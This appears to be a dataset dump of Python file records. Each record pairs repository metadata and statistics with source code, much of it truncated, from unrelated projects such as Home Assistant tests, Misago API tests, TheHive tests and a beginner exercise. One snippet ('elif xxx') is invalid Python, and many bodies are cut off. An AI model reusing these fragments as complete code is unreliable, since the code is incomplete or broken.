high_point_list = [i['high'] for i in interva... | 56.049505 | 183 | 0.662427 | 796 | 5,661 | 4.267588 | 0.081658 | 0.084781 | 0.155137 | 0.0471 | 0.907566 | 0.886076 | 0.866353 | 0.846041 | 0.819841 | 0.819841 | 0 | 0.002669 | 0.205794 | 5,661 | 100 | 184 | 56.61 | 0.752891 | 0 | 0 | 0.683544 | 0 | 0 | 0.10656 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.012658 | false | 0.012658 | 0.025316 | 0 | 0.101266 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
d2d01bde0bde12c948db6bd1113a6d29ab142b98 | 26 | py | Python | mauth_client/requests_mauth/__init__.py | mdsol/mauth-client-python | 0711017ebe644d5571c3ef3b26868b8f70e8c241 | [
"MIT"
] | 1 | 2020-10-23T06:31:52.000Z | 2020-10-23T06:31:52.000Z | mauth_client/requests_mauth/__init__.py | mdsol/mauth-client-python | 0711017ebe644d5571c3ef3b26868b8f70e8c241 | [
"MIT"
] | 2 | 2021-02-10T15:54:40.000Z | 2021-02-18T14:23:03.000Z | mauth_client/requests_mauth/__init__.py | mdsol/mauth-client-python | 0711017ebe644d5571c3ef3b26868b8f70e8c241 | [
"MIT"
] | null | null | null | from .client import MAuth
| 13 | 25 | 0.807692 | 4 | 26 | 5.25 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.153846 | 26 | 1 | 26 | 26 | 0.954545 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
824c04e5f5d451dbe54c76ab8989dd20b72660ac | 33,494 | py | Python | misago/threads/tests/test_thread_postpatch_api.py | HenryChenV/iJiangNan | 68f156d264014939f0302222e16e3125119dd3e3 | [
"MIT"
] | 1 | 2017-07-25T03:04:36.000Z | 2017-07-25T03:04:36.000Z | misago/threads/tests/test_thread_postpatch_api.py | HenryChenV/iJiangNan | 68f156d264014939f0302222e16e3125119dd3e3 | [
"MIT"
] | null | null | null | misago/threads/tests/test_thread_postpatch_api.py | HenryChenV/iJiangNan | 68f156d264014939f0302222e16e3125119dd3e3 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
import json
from datetime import timedelta
from django.urls import reverse
from django.utils import timezone
from misago.acl.testutils import override_acl
from misago.categories.models import Category
from misago.threads import testutils
from misago.thr... | 29.798932 | 98 | 0.520959 | 3,438 | 33,494 | 4.892088 | 0.054974 | 0.08205 | 0.1094 | 0.044711 | 0.874012 | 0.864974 | 0.849634 | 0.831084 | 0.804507 | 0.781497 | 0 | 0.010042 | 0.363737 | 33,494 | 1,123 | 99 | 29.825468 | 0.779175 | 0.06007 | 0 | 0.622837 | 0 | 0 | 0.113048 | 0.001855 | 0 | 0 | 0 | 0 | 0.155709 | 1 | 0.05767 | false | 0 | 0.011534 | 0.001153 | 0.081892 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
7d630498cde14e269e97fecd68ab11422424572c | 5,350 | py | Python | tests/components/deconz/test_init.py | psicot/home-assistant | 60f0988435ac104f83ace36fa762bb27cb093509 | [
"Apache-2.0"
] | 1 | 2019-09-17T03:26:56.000Z | 2019-09-17T03:26:56.000Z | tests/components/deconz/test_init.py | psicot/home-assistant | 60f0988435ac104f83ace36fa762bb27cb093509 | [
"Apache-2.0"
] | 19 | 2020-01-29T23:21:07.000Z | 2021-07-23T23:26:51.000Z | tests/components/deconz/test_init.py | psicot/home-assistant | 60f0988435ac104f83ace36fa762bb27cb093509 | [
"Apache-2.0"
] | 1 | 2020-06-19T02:47:19.000Z | 2020-06-19T02:47:19.000Z | """Test deCONZ component setup process."""
from unittest.mock import Mock, patch
import asyncio
import pytest
from homeassistant.exceptions import ConfigEntryNotReady
from homeassistant.components import deconz
from tests.common import mock_coro, MockConfigEntry
ENTRY1_HOST = "1.2.3.4"
ENTRY1_PORT = 80
ENTRY1_API_K... | 31.470588 | 88 | 0.691028 | 672 | 5,350 | 5.220238 | 0.133929 | 0.082098 | 0.109464 | 0.13683 | 0.831528 | 0.780217 | 0.744584 | 0.722064 | 0.70382 | 0.675599 | 0 | 0.022537 | 0.220374 | 5,350 | 169 | 89 | 31.656805 | 0.818509 | 0.006729 | 0 | 0.630769 | 0 | 0 | 0.0426 | 0.02342 | 0 | 0 | 0 | 0 | 0.092308 | 1 | 0 | false | 0 | 0.046154 | 0 | 0.046154 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
7de153af6f0f182451f8468db45f9ac3e7a0b6c5 | 190 | py | Python | week1/complex1.py | pkoarmy/Learning-Python | 79067de3c09240d26939ca23ec98e96304660e7c | [
"MIT"
] | null | null | null | week1/complex1.py | pkoarmy/Learning-Python | 79067de3c09240d26939ca23ec98e96304660e7c | [
"MIT"
] | null | null | null | week1/complex1.py | pkoarmy/Learning-Python | 79067de3c09240d26939ca23ec98e96304660e7c | [
"MIT"
] | null | null | null | import random
month = random.randint(1, 12)
if month > 0 and month < 4:
print("Spring")
elif xxx
print("Spring")
elif xxx
print("Spring")
elif xxx
print("Spring")
elif xxx
| 13.571429 | 29 | 0.642105 | 29 | 190 | 4.206897 | 0.482759 | 0.360656 | 0.491803 | 0.590164 | 0.590164 | 0.590164 | 0.590164 | 0.590164 | 0.590164 | 0.590164 | 0 | 0.034247 | 0.231579 | 190 | 13 | 30 | 14.615385 | 0.80137 | 0 | 0 | 0.727273 | 0 | 0 | 0.126316 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.090909 | null | null | 0.363636 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
7de3209f03aa0162f9f7a6349bc4a35a5a311c63 | 4,707 | py | Python | tests/test_queries.py | gordonwatts/func_adl_server | 608ac8295d9cf23b17a4882b617a99739d7c7541 | [
"MIT"
] | null | null | null | tests/test_queries.py | gordonwatts/func_adl_server | 608ac8295d9cf23b17a4882b617a99739d7c7541 | [
"MIT"
] | 31 | 2019-06-20T06:38:20.000Z | 2019-11-24T06:14:28.000Z | tests/test_queries.py | gordonwatts/func_adl_server | 608ac8295d9cf23b17a4882b617a99739d7c7541 | [
"MIT"
] | null | null | null | # A number of queries that test that the system works pretty well.
from func_adl import EventDataset
from func_adl.xAOD import use_exe_func_adl_server
from tests.config import single_use_auth_cluster_restart, single_use_auth_cluster, dataset_main, certs_available, restarted_backend # noqa E401
from tests.datasets_for_... | 44.40566 | 144 | 0.712768 | 671 | 4,707 | 4.695976 | 0.186289 | 0.051412 | 0.074262 | 0.114249 | 0.794668 | 0.773723 | 0.773723 | 0.773723 | 0.748334 | 0.748334 | 0 | 0.029495 | 0.178883 | 4,707 | 105 | 145 | 44.828571 | 0.78577 | 0.241555 | 0 | 0.842105 | 0 | 0 | 0.181237 | 0.057569 | 0 | 0 | 0 | 0 | 0.105263 | 1 | 0.105263 | false | 0 | 0.052632 | 0 | 0.157895 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
8175d97cf23360a5dd062e62410981db0a3e85bc | 117 | py | Python | learning-python/src/object-oriented-programming/simplest.class.py | learning-software-development/packt-publishing-tutorials | 625618d9eff8d108645e1f4035ef1b00869d12af | [
"Unlicense"
] | null | null | null | learning-python/src/object-oriented-programming/simplest.class.py | learning-software-development/packt-publishing-tutorials | 625618d9eff8d108645e1f4035ef1b00869d12af | [
"Unlicense"
] | null | null | null | learning-python/src/object-oriented-programming/simplest.class.py | learning-software-development/packt-publishing-tutorials | 625618d9eff8d108645e1f4035ef1b00869d12af | [
"Unlicense"
] | null | null | null | class Simplest():
pass
print(type(Simplest))
simp = Simplest()
print(type(simp))
print(type(simp) == Simplest)
| 13 | 29 | 0.683761 | 15 | 117 | 5.333333 | 0.4 | 0.3375 | 0.325 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.145299 | 117 | 8 | 30 | 14.625 | 0.8 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.166667 | 0 | 0 | 0.166667 | 0.5 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 6 |
81767483d00084067a1101a333d52a750e805430 | 307 | py | Python | omq/__init__.py | rty813/omq | eadcdcfe149d8c0e6eaef4d0f98cf08f44df8e5a | [
"MIT"
] | 1 | 2021-03-16T10:11:20.000Z | 2021-03-16T10:11:20.000Z | omq/__init__.py | rty813/omq | eadcdcfe149d8c0e6eaef4d0f98cf08f44df8e5a | [
"MIT"
] | null | null | null | omq/__init__.py | rty813/omq | eadcdcfe149d8c0e6eaef4d0f98cf08f44df8e5a | [
"MIT"
] | null | null | null | class Addr:
""" 地址常量 """
NANO = ('192.168.3.112', 51000)
MAIN = ('192.168.3.11', 51000)
COMMUNICATION = ('192.168.3.11', 51001)
RADAR = ('192.168.3.11', 51002)
PLAN = ('192.168.3.11', 51003)
CONTROL = ('192.168.3.11', 51004)
from .omq import Bus, Rep, SuperNode, SlaveNode, req
| 27.909091 | 52 | 0.570033 | 47 | 307 | 3.723404 | 0.574468 | 0.205714 | 0.24 | 0.257143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.352697 | 0.214984 | 307 | 10 | 53 | 30.7 | 0.373444 | 0.013029 | 0 | 0 | 0 | 0 | 0.247458 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.125 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 6 |
81979ad95f3b02ac204d518b88e26983d679f114 | 12,172 | py | Python | examples/example_mesh_w_vary_xy_both_banks.py | eng-tools/sfsimodels | 4771f7693c7ed30c05e82e41401c7d141e02dcf9 | [
"MIT"
] | 4 | 2017-12-16T10:17:13.000Z | 2020-10-13T05:04:19.000Z | examples/example_mesh_w_vary_xy_both_banks.py | eng-tools/sfsimodels | 4771f7693c7ed30c05e82e41401c7d141e02dcf9 | [
"MIT"
] | 1 | 2021-05-19T05:33:43.000Z | 2021-05-19T05:33:43.000Z | examples/example_mesh_w_vary_xy_both_banks.py | eng-tools/sfsimodels | 4771f7693c7ed30c05e82e41401c7d141e02dcf9 | [
"MIT"
] | 2 | 2020-11-07T04:46:55.000Z | 2021-07-29T07:07:44.000Z | ##%
import sfsimodels as sm
from sfsimodels.num.mesh import mesh2d_vary_y
import numpy as np
import sys
import pyqtgraph as pg
from pyqtgraph.Qt import QtGui, QtCore
import o3plot
#%%
vs = 150.0
rho = 1.8
g_mod = vs ** 2 * rho
sl1 = sm.Soil(g_mod=g_mod, unit_dry_weight=rho * 9.8, poissons_ratio=0.32)
sl2 = sm.Soil(g_... | 40.438538 | 136 | 0.648538 | 2,165 | 12,172 | 3.407852 | 0.092841 | 0.033207 | 0.040661 | 0.034291 | 0.844673 | 0.809162 | 0.767417 | 0.726213 | 0.707509 | 0.683247 | 0 | 0.035556 | 0.186658 | 12,172 | 301 | 137 | 40.438538 | 0.709697 | 0.009859 | 0 | 0.616279 | 0 | 0 | 0.04592 | 0.019216 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.046512 | 0 | 0.046512 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
81db8d9559a670dee7cf0b9623b67672913342f2 | 141 | py | Python | admin/backend/utils.py | DeSireFire/titans | 9194950694084a7cbc6434dfec0ecb2e755f0cdf | [
"Apache-2.0"
] | 17 | 2020-03-14T01:08:07.000Z | 2020-12-26T08:20:14.000Z | admin/backend/utils.py | DeSireFire/titans | 9194950694084a7cbc6434dfec0ecb2e755f0cdf | [
"Apache-2.0"
] | 4 | 2020-12-05T08:50:55.000Z | 2022-02-27T06:48:21.000Z | admin/backend/utils.py | DeSireFire/titans | 9194950694084a7cbc6434dfec0ecb2e755f0cdf | [
"Apache-2.0"
] | 1 | 2020-05-24T06:57:03.000Z | 2020-05-24T06:57:03.000Z | # -*- coding: utf-8 -*-
import json
def json_response(data='', code=0, msg='success'):
return {'code': code, 'data': data, 'msg': msg}
| 20.142857 | 51 | 0.588652 | 20 | 141 | 4.1 | 0.65 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.017094 | 0.170213 | 141 | 6 | 52 | 23.5 | 0.683761 | 0.148936 | 0 | 0 | 0 | 0 | 0.152542 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0.333333 | 0.333333 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 6 |
c4a13038316d44f93ab753312eb6725827a6d46d | 15,882 | py | Python | Packs/TheHiveProject/Integrations/TheHiveProject/TheHiveProject_test.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 799 | 2016-08-02T06:43:14.000Z | 2022-03-31T11:10:11.000Z | Packs/TheHiveProject/Integrations/TheHiveProject/TheHiveProject_test.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 9,317 | 2016-08-07T19:00:51.000Z | 2022-03-31T21:56:04.000Z | Packs/TheHiveProject/Integrations/TheHiveProject/TheHiveProject_test.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 1,297 | 2016-08-04T13:59:00.000Z | 2022-03-31T23:43:06.000Z | import json
import io
def util_load_json(path):
with io.open(path, mode='r', encoding='utf-8') as f:
return json.loads(f.read())
def test_list_cases_command(requests_mock):
from TheHiveProject import list_cases_command, Client
mock_response = util_load_json('test_data/cases_list.json')
re... | 30.136622 | 87 | 0.591424 | 1,703 | 15,882 | 5.296536 | 0.0734 | 0.083814 | 0.083814 | 0.053215 | 0.890133 | 0.861419 | 0.853437 | 0.771397 | 0.730488 | 0.699446 | 0 | 0.010145 | 0.273832 | 15,882 | 526 | 88 | 30.193916 | 0.771959 | 0 | 0 | 0.591479 | 0 | 0 | 0.238257 | 0.020589 | 0 | 0 | 0 | 0 | 0.107769 | 1 | 0.037594 | false | 0.002506 | 0.0401 | 0 | 0.080201 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
c4a973621d356186a95da03a0619704ce93250f4 | 5,692 | py | Python | high_dim_es_rl/benchmarkfunctions.py | LeoIV/High-Dim-ES-RL | 4ee47aac42a5fad7b4231d65fda34f97c38dfce4 | [
"MIT"
] | null | null | null | high_dim_es_rl/benchmarkfunctions.py | LeoIV/High-Dim-ES-RL | 4ee47aac42a5fad7b4231d65fda34f97c38dfce4 | [
"MIT"
] | null | null | null | high_dim_es_rl/benchmarkfunctions.py | LeoIV/High-Dim-ES-RL | 4ee47aac42a5fad7b4231d65fda34f97c38dfce4 | [
"MIT"
] | null | null | null | '''This module contains the following:
BenignEllipse
A moderately conditioned function.
BenignEllipseNoisyThres
A moderately conditioned function with additive noise above a certain
(function value) threshold.
BenignEllipseAddNoise
A moderately conditioned function with additive noise of a specified
strength... | 31.622222 | 76 | 0.666374 | 788 | 5,692 | 4.664975 | 0.11802 | 0.045702 | 0.085691 | 0.054407 | 0.825354 | 0.794886 | 0.740207 | 0.689608 | 0.675734 | 0.638738 | 0 | 0.010969 | 0.231202 | 5,692 | 179 | 77 | 31.798883 | 0.829068 | 0.364195 | 0 | 0.752941 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.235294 | false | 0 | 0.011765 | 0.023529 | 0.482353 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
c4c866b407639507012884ffdaa1ae1ea43e6062 | 1,831 | py | Python | test/modules_test.py | epignatelli/discovering-reinforcement-learning-algorithms | 5c13fe06c06c7d3b25a9d2fc87d8b239aff88c48 | [
"Apache-2.0"
] | 14 | 2020-12-21T04:03:07.000Z | 2022-03-22T07:10:09.000Z | test/modules_test.py | epignatelli/discovering-reinforcement-learning-algorithms | 5c13fe06c06c7d3b25a9d2fc87d8b239aff88c48 | [
"Apache-2.0"
] | 1 | 2021-09-18T07:03:45.000Z | 2021-09-18T07:03:45.000Z | test/modules_test.py | epignatelli/discovering-reinforcement-learning-algorithms | 5c13fe06c06c7d3b25a9d2fc87d8b239aff88c48 | [
"Apache-2.0"
] | 2 | 2021-03-14T02:33:12.000Z | 2021-11-17T20:15:26.000Z | import jax
import jax.numpy as jnp
from lpg.modules import LSTM, LSTMCell, LSTMState, Rnn
def test_lstm_cell():
rng = jax.random.PRNGKey(0)
input_shape = (8,)
lstm = LSTMCell(16)
x = jax.random.normal(rng, input_shape)
out_shape, params = lstm.init(rng, input_shape)
outputs, state = lstm.apply... | 26.536232 | 63 | 0.661933 | 293 | 1,831 | 3.993174 | 0.16041 | 0.102564 | 0.123077 | 0.082051 | 0.883761 | 0.883761 | 0.883761 | 0.873504 | 0.803419 | 0.74359 | 0 | 0.020284 | 0.192245 | 1,831 | 69 | 64 | 26.536232 | 0.770791 | 0 | 0 | 0.566038 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.075472 | false | 0 | 0.056604 | 0 | 0.132075 | 0.075472 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
c4da956f3b76896ebb9425926788cab16f36e2c4 | 170 | py | Python | allennlp_multi_label/__init__.py | JohnGiorgi/allennlp-multi-label-classification | 2038ea8e0d441df9b953712383a4b1322cd40f55 | [
"Apache-2.0"
] | 10 | 2020-07-20T18:48:25.000Z | 2022-02-24T20:06:20.000Z | allennlp_multi_label/__init__.py | JohnGiorgi/allennlp-multi-label-classification | 2038ea8e0d441df9b953712383a4b1322cd40f55 | [
"Apache-2.0"
] | 149 | 2020-07-20T13:21:22.000Z | 2022-03-01T21:02:57.000Z | allennlp_multi_label/__init__.py | JohnGiorgi/allennlp-multi-label-document-classification | 2038ea8e0d441df9b953712383a4b1322cd40f55 | [
"Apache-2.0"
] | 2 | 2020-10-22T09:10:21.000Z | 2021-10-18T05:47:07.000Z | __version__ = "0.1.0"
from allennlp_multi_label.dataset_reader import MultiLabelTextClassificationJsonReader
from allennlp_multi_label.model import MultiLabelClassifier
| 34 | 86 | 0.888235 | 19 | 170 | 7.473684 | 0.684211 | 0.169014 | 0.239437 | 0.309859 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.018987 | 0.070588 | 170 | 4 | 87 | 42.5 | 0.879747 | 0 | 0 | 0 | 0 | 0 | 0.029412 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.666667 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
c4e82936b886f702dae7bff9417f4e8ed70bfa1b | 10,089 | py | Python | tests/components/nmap_tracker/test_config_flow.py | williamvdev/core | 2a48fe519930a4bd031fd77ceb3ed4724ce3f6d8 | [
"Apache-2.0"
] | 1 | 2021-07-06T03:46:47.000Z | 2021-07-06T03:46:47.000Z | tests/components/nmap_tracker/test_config_flow.py | williamvdev/core | 2a48fe519930a4bd031fd77ceb3ed4724ce3f6d8 | [
"Apache-2.0"
] | 64 | 2020-10-01T06:39:48.000Z | 2022-03-31T06:02:17.000Z | tests/components/nmap_tracker/test_config_flow.py | bbbates/core | 74029a094821b6368c8e08afe320b73fe9d0ef65 | [
"Apache-2.0"
] | 1 | 2019-10-24T21:00:24.000Z | 2019-10-24T21:00:24.000Z | """Test the Nmap Tracker config flow."""
from unittest.mock import patch
import pytest
from homeassistant import config_entries, data_entry_flow, setup
from homeassistant.components.device_tracker.const import (
CONF_SCAN_INTERVAL,
CONF_TRACK_NEW,
)
from homeassistant.components.nmap_tracker.const import (
... | 32.440514 | 80 | 0.618198 | 1,236 | 10,089 | 4.779126 | 0.100324 | 0.013205 | 0.013205 | 0.055866 | 0.808194 | 0.76367 | 0.749281 | 0.738784 | 0.701879 | 0.679702 | 0 | 0.041929 | 0.260085 | 10,089 | 310 | 81 | 32.545161 | 0.749364 | 0.00337 | 0 | 0.641221 | 0 | 0 | 0.133538 | 0.044956 | 0 | 0 | 0 | 0 | 0.160305 | 1 | 0 | false | 0 | 0.045802 | 0 | 0.045802 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
1efb2ad2dfb1fec7913c31365853c34f8417f485 | 123 | py | Python | rltorch/memory/__init__.py | Brandon-Rozek/rltorch | cb87105305315c5df4cae91fee0ee54b981bc04b | [
"MIT"
] | null | null | null | rltorch/memory/__init__.py | Brandon-Rozek/rltorch | cb87105305315c5df4cae91fee0ee54b981bc04b | [
"MIT"
] | null | null | null | rltorch/memory/__init__.py | Brandon-Rozek/rltorch | cb87105305315c5df4cae91fee0ee54b981bc04b | [
"MIT"
] | null | null | null | from .EpisodeMemory import *
from .ReplayMemory import *
from .PrioritizedReplayMemory import *
from .DQfDMemory import *
| 24.6 | 38 | 0.796748 | 12 | 123 | 8.166667 | 0.5 | 0.306122 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.138211 | 123 | 4 | 39 | 30.75 | 0.924528 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
48038a9e2a25d1d6773fa26d3c8988131e92413f | 412 | py | Python | src/helpers/paths/processed.py | markrofail/airbnb-new-user-bookings-kaggle- | 9e82b80e0fb514d7e0d65940bdd9880f895d3304 | [
"MIT"
] | null | null | null | src/helpers/paths/processed.py | markrofail/airbnb-new-user-bookings-kaggle- | 9e82b80e0fb514d7e0d65940bdd9880f895d3304 | [
"MIT"
] | 4 | 2020-03-24T17:30:39.000Z | 2021-03-19T03:06:36.000Z | src/helpers/paths/processed.py | markrofail/airbnb-new-user-bookings-kaggle- | 9e82b80e0fb514d7e0d65940bdd9880f895d3304 | [
"MIT"
] | null | null | null | from .. import paths
DATA_PROCESSED_PATH = paths.DATA_PATH.joinpath('processed')
def train_dataset():
return DATA_PROCESSED_PATH.joinpath("train_features.csv")
def test_dataset():
return DATA_PROCESSED_PATH.joinpath("test_features.csv")
def train_labels():
return DATA_PROCESSED_PATH.joinpath("train_l... | 20.6 | 61 | 0.774272 | 55 | 412 | 5.454545 | 0.272727 | 0.216667 | 0.283333 | 0.306667 | 0.56 | 0.56 | 0 | 0 | 0 | 0 | 0 | 0 | 0.116505 | 412 | 19 | 62 | 21.684211 | 0.824176 | 0 | 0 | 0 | 0 | 0 | 0.182039 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.4 | false | 0 | 0.1 | 0.4 | 0.9 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
4843f3821c1e9de738029f16cf616c052183e865 | 1,006 | py | Python | l5kit/l5kit/tests/visualization/gif_test.py | xiaoxiaoheimei/l5kit | 1ea2f8cecfe7ad974419bf5c8519ab3a21300119 | [
"Apache-2.0"
] | 5 | 2021-02-27T07:40:41.000Z | 2022-03-24T07:03:35.000Z | l5kit/l5kit/tests/visualization/gif_test.py | phalanx-hk/l5kit | 92c88c4050b946b6828a47ddb3d13da9d87f9f7d | [
"Apache-2.0"
] | 1 | 2021-02-23T18:55:05.000Z | 2021-02-23T18:55:05.000Z | l5kit/l5kit/tests/visualization/gif_test.py | phalanx-hk/l5kit | 92c88c4050b946b6828a47ddb3d13da9d87f9f7d | [
"Apache-2.0"
] | 2 | 2021-12-07T06:59:06.000Z | 2022-01-22T07:19:18.000Z | from pathlib import Path
import numpy as np
from l5kit.visualization import write_gif
def test_write_gif(tmp_path: Path) -> None:
# Just a smoke test
images = (np.random.rand(5, 512, 512, 3) * 255).astype(np.uint8)
video_filepath = tmp_path / "test_gif.gif"
write_gif(str(video_filepath), images, (5... | 26.473684 | 68 | 0.694831 | 155 | 1,006 | 4.283871 | 0.245161 | 0.215361 | 0.143072 | 0.067771 | 0.796687 | 0.796687 | 0.796687 | 0.796687 | 0.796687 | 0.796687 | 0 | 0.065693 | 0.182903 | 1,006 | 37 | 69 | 27.189189 | 0.742092 | 0.052684 | 0 | 0.55 | 0 | 0 | 0.037935 | 0 | 0 | 0 | 0 | 0 | 0.25 | 1 | 0.15 | false | 0 | 0.15 | 0 | 0.3 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
485bd1a2e163353716e6e69d744223d016fa0320 | 300 | py | Python | libs/imutils/feature/__init__.py | rocketbot-cl/recognition | cca8a87070ccaca3a26e37345c36ab1bf836e258 | [
"MIT"
] | 6 | 2019-10-17T18:16:17.000Z | 2021-10-04T08:10:30.000Z | libs/imutils/feature/__init__.py | rocketbot-cl/recognition | cca8a87070ccaca3a26e37345c36ab1bf836e258 | [
"MIT"
